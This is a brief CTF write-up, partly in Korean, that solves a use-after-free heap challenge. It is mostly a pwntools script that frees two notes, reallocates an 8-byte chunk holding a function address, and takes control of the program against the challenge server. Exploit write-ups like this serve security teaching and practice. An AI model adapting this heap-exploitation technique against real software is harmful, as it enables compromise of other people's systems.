CTF write-up/hackctf
[hackctf] uaf
youngsouk
2019. 7. 15. 08:47
from pwn import *
#p = process('./uaf')
p = remote('ctf.j0n9hyun.xyz', 3021)
context.log_level="debug"
def add_note(size, content):
p.recv()
p.sendline('1')
p.recv()
p.sendline(size)
p.recv()
p.sendline(content)
def del_note(index):
p.recv()
p.sendline('2')
p.recv()
p.sendline(index)
def p_note(index):
p.recv()
p.sendline('3')
p.recv()
p.sendline(index)
magic = 0x08048986
add_note('100','')
add_note('100','')
del_note('0')
del_note('1')
add_note('8',p32(magic))
p_note('0')
p.interactive()
한번 add_note()를 할 때 2개의 힙이 할당된다.
1. 8바이트짜리 우리가 입력한 크기만큼 할당하는 힙주소를 저장하는 힙
2. 우리가 입력한 크기만큼 할당하는 힙 일케 2개가 할당된다.
따라서 이 8바이트짜리 힙을 uaf를 통해 수정할 수 있다.